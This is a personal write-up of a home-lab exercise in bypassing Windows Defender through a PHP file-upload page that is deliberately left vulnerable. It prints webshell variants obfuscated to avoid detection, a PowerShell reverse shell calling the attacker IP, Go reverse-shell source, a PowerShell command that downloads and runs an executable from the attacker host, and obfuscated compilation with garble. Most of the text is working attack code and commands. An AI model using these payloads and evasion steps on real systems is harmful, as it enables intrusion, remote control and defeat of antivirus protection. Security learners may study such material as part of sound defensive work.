My Experience Bypassing Windows Defender
Goal⌗
Bypass Windows Defender protections and get a reverse shell.
Preamble⌗
I know zero about AV evasion. Everything that is written in this article is based on my experience, don’t take my words for granted. I started the tests around the following date: 15/12/2021
Setup⌗
Role | Machine | IP |
---|---|---|
Target | Windows 10 | 192.168.80.142 |
Attacker | Kali Linux | 192.168.80.131 |
Windows Software | Version |
---|---|
XAMPP | 3.3.0 |
PHP | 8.0.13 |
Apache | 2.4.51 |
Linux Software |
---|
curl |
go |
Directory tree⌗
|-phpuploads
|-uploads/
|-index.php
Source⌗
//index.php
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
if (isset($_FILES['userfile'])){
$uploadfile = "./uploads/" . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)){
echo "File uploaded correctly";
}else{
echo "couldn't upload file.";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>PHP Tests</title>
</head>
<body>
<form enctype="multipart/form-data" method="POST">
<input type="file" name="userfile" />
<input type="submit" />
</form>
</body>
</html>
The webserver hosted on the Windows machine will simply serve a php script that allows clients to upload files to later retrieve them.
The webserver is vulnerable to arbitrary file upload, so the goal is to obtain a reverse shell or at least a webshell that can run commands on the infected machine.
The Kali Linux machine is just my working machine.
Functionality Check⌗
Checks first, we have to send a file sample and try to retrieve it later.
This is what the webpage looks like. We could upload them from the browser but I’d prefer uploading them via curl
.
Assuming that we have a file called test.txt
in our current directory, we could upload it using the following command:
curl -s -F 'userfile=@test.txt' http://192.168.80.142/phpuploads/index.php
To check if we can retrieve the file, we can just check it in the folder uploads
.
curl -s http://192.168.80.142/phpuploads/uploads/test.txt
If every check that we make is positive, then we can start with the exercise.
To easily upload and check, I used the following bash command:
MYFILE="file/to/upload.ext";
curl -s -F "userfile=@$MYFILE" "http://192.168.80.142/phpuploads/index.php" &&
(echo -e -n "\nResult: ";
curl -s "http://192.168.80.142/phpuploads/uploads/$(basename $MYFILE)");
So in this way, I just have to change the content of the variable MYFILE
.
Narrative⌗
Filename alerts⌗
I wanted to test out if some filenames will alert Windows Defender. So what I did was testing a bunch of filename that could be suspicious but every single one of them contains the following code:
<?php echo "hello world"; ?>
These are the filename that I used:
Filenames |
---|
webshell.php |
reversesell.php |
meterpreter.php |
c99shell.php |
cmd.php |
payload.php |
For every request made, I was able to even execute those files.
None of them resulted in being flagged by the AV. To make sure, I ran Windows Defender on the upload folder.
So no current threats.
I will assume that Windows Defender doesn’t actually care about the filename, but rather the content of it.
Content alert⌗
For this exercise, I will go from easy techniques to medium/complex ones (as far as complex I can go of course).
Rules that I put myself for this exercise are:
- WebShell needs to execute system commands.
- WebShell should not hardcode the command to run (e.g.:
system('malicious command')
) - The command should be sent from the Client to the Server. The WebShell should not fetch the command on other services (like performing an HTTP request to a server that we own).
For the first part of this exercise, I’m gonna use the system
function to execute the command.
I wanted to try the simple ones, but first I’ll show an example of how to understand that our WebShell got caught by Windows Defender:
I uploaded the following PHP script.
<?php
system($_GET['c']);
?>
And as soon as I tried to reach that file via curl, Windows Defender caught it.
And this is the output from my terminal:
So upload was successful, but execution failed.
Listed here (with the name as comment), I performed some mutation of the previous WebShell to figure out how little I can change to bypass Windows Defender.
<?php system($_GET['c']); ?> //SYS_GET_C
<?php system($_GET['foo']); ?> //SYS_GET_FOO
<?php system($_COOKIES['foo']); ?> //SYS_COOKIE_FOO
<?php system($_SERVER["HTTP_X_DATA"]); ?> //SYS_HEADER_DATA
<?php $LOL=$_GET; system($LOL['foo']); ?> //VAR_SYS_GET_FOO
<?php $LOL='system($_GET["c"]);'; eval($LOL); ?> //STR_SYS_GET_C_EVAL
<?php $LOL="sy"."stem(\$_GET['c']);"; eval($LOL); ?> //BROKEN_SYS_GET_C_EVAL
Fun fact, every single WebShell got caught besides from BROKEN_SYS_GET_C_EVAL
(the last one).
Apparently, breaking the string was enough to make me bypass Windows Defender.
I am already happy, but I wanna try to use other functions besides from system
. So I tried with exec
.
Keep in mind that exec
doesn’t output directly the data as system
does, so we have to print it out on our own.
To check again, I tried with a simple one:
<?php
echo exec($_GET['c']);
?>
and to my surprise, it worked.
I don’t know why, but it worked. There’s literally no obfuscation.
I wanna make the output a little bit better because exec
returns only the first line of the output of the command, but by specifying an array it will put all the lines of the output inside that array.
<?php
$a=[];
exec($_GET["c"], $a);
echo implode("\n", $a);
?>
This tells me a lot. But I guess Windows Defender is not designed to catch these types of attacks or Payloads, which is okay.
Command alert⌗
Not because our webshell sits there and gets executed means that we can perform malicious actions. It could be that if we try to perform or run suspicious commands, Windows Defender will stop us from executing them.
I’m gonna assume that we’re using the BROKEN_SYS_GET_C_EVAL
webshell.
To try to trigger Windows Defender, I thought about spawning a reverse shell. Here there are no rules besides the fact Windows Defender should be on.
I started with a classic one from Payload All The Things:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command
New-Object System.Net.Sockets.TCPClient("192.168.80.131",8080);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
In the terminal it’s a oneliner, here I reported it with spaces and newlines to better see and understand what the payload is doing.
But no success. This is due to the fact that it gets detected by Windows Defender and we can see it in the Apache error logs:
So what I did was just create an executable that can spawn the reverse shell for me.
I used Golang for this purpose since I’m confident with it and also it’s easy to perform cross compile.
package main
import ("os/exec"
"os"
"net")
func main(){
beeboop, _:=net.Dial("tcp", os.Args[1])
lol:=exec.Command(os.Args[2])
lol.Stdin=beeboop
lol.Stdout=beeboop
lol.Stderr=beeboop
lol.Run()
}
The program accepts two arguments:
- The address and port to connect to
- The binary to execute
Upon execution, it contacts the address supplied, spawns a process and attaches the stdin, stdout, stderr of the process to the socket. To compile on Linux for Windows:
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" reverse_shell.go
I renamed the executable in general.exe
, uploaded the executable on a web server and downloaded it by using the following payload on our target:
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.80.131:8000/general.exe','general.exe')
NOTE: Downloading payload by using
certutil.exe
caught Windows Defender attention. I didn’t show the steps to just not make the article too long.
and then executing the downloaded file by passing the address of the attacking machine and the name of the program to execute:
.\general.exe 192.168.80.131:8080 powershell
And it luckily gets executed.
Obfuscation⌗
For whatever reason, after a while, it got flagged again by Windows Defender.
Unfortunately, I wasn’t able to find my way to obfuscate the executable so I had to use this wonderful tool called garble to compile Golang code and obfuscate it. After installing it, all I did was to just simply run the compiling command but replacing go
with garble
:
env GOOS=windows GOARCH=amd64 garble build -ldflags "-s -w" reverse_shell.go
And this time, Windows Defender does not flag our binary as malicious.
I’m not gonna cover the privilege escalation part simply because I am currently not skilled enough for this and also because I didn’t set up a privilege escalation vector on the Windows machine.
Thanks⌗
A special thanks to my partner for every time she supported me into all of this madness.
Many thanks to KURT W.K. for giving me a valid point of view.
Thanks to Essbee, a polar bear that is living her best life through many highs and lows.